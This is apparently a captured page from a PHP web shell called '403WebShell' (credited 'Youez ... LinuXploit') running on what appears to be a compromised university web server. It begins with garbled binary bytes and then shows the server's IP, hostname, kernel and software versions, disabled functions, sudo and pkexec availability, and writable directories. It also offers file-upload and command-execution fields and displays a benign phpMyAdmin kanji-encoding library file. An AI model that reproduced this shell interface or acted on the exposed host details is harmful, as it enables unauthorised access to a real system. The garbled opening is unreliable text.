h(  ) ($6;EbBLkfu�_l� ''8;DUFKV3Dd#,?ANk&5G$/(5M\^�ms����Sb�,;R''6c2I�!\����kx�Ve�[i��Me�IYO7:nOL~�Kr�qrv�I:�BM�y��s}r��K����x)1�6@r*2�89ma��&��'ti������{~#������t)1�2<�0:^5�W.uFzQ/u}�v��vv�u��U37yDJeEJo(/�5Ds'1�:Jlu�iy�iy�hw�1;:S`^BMLOQQn,4�7C�8C�>Lfe�]k�[i�Zg��IW�LZ�EP;,.��Tc�q(0) G,/]/1����w�r��l&-t*3�<<�u��#����j&.u��J68\8?"#$%&'()*+,-./0 ! 
Notice: Undefined index: dl in /var/www/html/web/simple.mini.php on line 1
403WebShell
403Webshell
Server IP : 10.254.12.21  /  Your IP : 10.254.12.21
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40
System : Linux arit.skru.ac.th 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/phpMyAdmin/libraries/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/phpMyAdmin/libraries/kanji-encoding.lib.php
<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
 * Set of functions for kanji-encoding convert (available only with japanese
 * language)
 *
 * PHP4 configure requirements:
 *     --enable-mbstring --enable-mbstr-enc-trans --enable-mbregex
 *
 * 2002/2/22 - by Yukihiro Kawada <kawada@den.fujifilm.co.jp>
 *
 * @package PhpMyAdmin
 */
if (! defined('PHPMYADMIN')) {
    exit;
}

/**
 * Gets the php internal encoding codes and sets the available encoding
 * codes list
 * 2002/1/4 by Y.Kawada
 *
 * @global  string $kanji_encoding_list the available encoding codes list
 *
 * @return boolean  always true
 */
function PMA_Kanji_checkEncoding()
{
    global $kanji_encoding_list;

    $internal_enc = mb_internal_encoding();
    if ($internal_enc == 'EUC-JP') {
        $kanji_encoding_list = 'ASCII,EUC-JP,SJIS,JIS';
    } else {
        $kanji_encoding_list = 'ASCII,SJIS,EUC-JP,JIS';
    }

    return true;
} // end of the 'PMA_Kanji_checkEncoding' function


/**
 * Reverses SJIS & EUC-JP position in the encoding codes list
 * 2002/1/4 by Y.Kawada
 *
 * @global  string $kanji_encoding_list the available encoding codes list
 *
 * @return boolean  always true
 */
function PMA_Kanji_changeOrder()
{
    global $kanji_encoding_list;

    $parts = explode(',', $kanji_encoding_list);
    if ($parts[1] == 'EUC-JP') {
        $kanji_encoding_list = 'ASCII,SJIS,EUC-JP,JIS';
    } else {
        $kanji_encoding_list = 'ASCII,EUC-JP,SJIS,JIS';
    }

    return true;
} // end of the 'PMA_Kanji_changeOrder' function


/**
 * Kanji string encoding convert
 * 2002/1/4 by Y.Kawada
 *
 * @param string $str  the string to convert
 * @param string $enc  the destination encoding code
 * @param string $kana set 'kana' convert to JIS-X208-kana
 *
 * @global  string $kanji_encoding_list the available encoding codes list
 *
 * @return string   the converted string
 */
function PMA_Kanji_strConv($str, $enc, $kana)
{
    global $kanji_encoding_list;

    if ($enc == '' && $kana == '') {
        return $str;
    }
    $string_encoding = mb_detect_encoding($str, $kanji_encoding_list);

    if ($kana == 'kana') {
        $dist = mb_convert_kana($str, 'KV', $string_encoding);
        $str  = $dist;
    }
    if ($string_encoding != $enc && $enc != '') {
        $dist = mb_convert_encoding($str, $enc, $string_encoding);
    } else {
        $dist = $str;
    }
    return $dist;
} // end of the 'PMA_Kanji_strConv' function


/**
 * Kanji file encoding convert
 * 2002/1/4 by Y.Kawada
 *
 * @param string $file the name of the file to convert
 * @param string $enc  the destination encoding code
 * @param string $kana set 'kana' convert to JIS-X208-kana
 *
 * @return string   the name of the converted file
 */
function PMA_Kanji_fileConv($file, $enc, $kana)
{
    if ($enc == '' && $kana == '') {
        return $file;
    }

    $tmpfname = tempnam('', $enc);
    $fpd      = fopen($tmpfname, 'wb');
    $fps      = fopen($file, 'r');
    PMA_Kanji_changeOrder();
    while (!feof($fps)) {
        $line = fgets($fps, 4096);
        $dist = PMA_Kanji_strConv($line, $enc, $kana);
        fputs($fpd, $dist);
    } // end while
    PMA_Kanji_changeOrder();
    fclose($fps);
    fclose($fpd);
    unlink($file);

    return $tmpfname;
} // end of the 'PMA_Kanji_fileConv' function


/**
 * Defines radio form fields to switch between encoding modes
 * 2002/1/4 by Y.Kawada
 *
 * @return string   xhtml code for the radio controls
 */
function PMA_Kanji_encodingForm()
{
    return "\n"
        . '<ul>' . "\n" . '<li>'
        . '<input type="radio" name="knjenc" value="" checked="checked" '
        . 'id="kj-none" />'
        . '<label for="kj-none">'
        /* l10n: This is currently used only in Japanese locales */
        . _pgettext('None encoding conversion', 'None')
        . "</label>\n"
        . '<input type="radio" name="knjenc" value="EUC-JP" id="kj-euc" />'
        . '<label for="kj-euc">EUC</label>' . "\n"
        . '<input type="radio" name="knjenc" value="SJIS" id="kj-sjis" />'
        . '<label for="kj-sjis">SJIS</label>' . "\n"
        . '</li>' . "\n" . '<li>'
        . '<input type="checkbox" name="xkana" value="kana" id="kj-kana" />'
        . "\n"
        . '<label for="kj-kana">'
        /* l10n: This is currently used only in Japanese locales */
        . __('Convert to Kana')
        . '</label><br />'
        . "\n"
        . '</li>' . "\n" . '</ul>'
        ;
} // end of the 'PMA_Kanji_encodingForm' function


PMA_Kanji_checkEncoding();

?>

Youez - 2016 - github.com/yon3zu
LinuXploit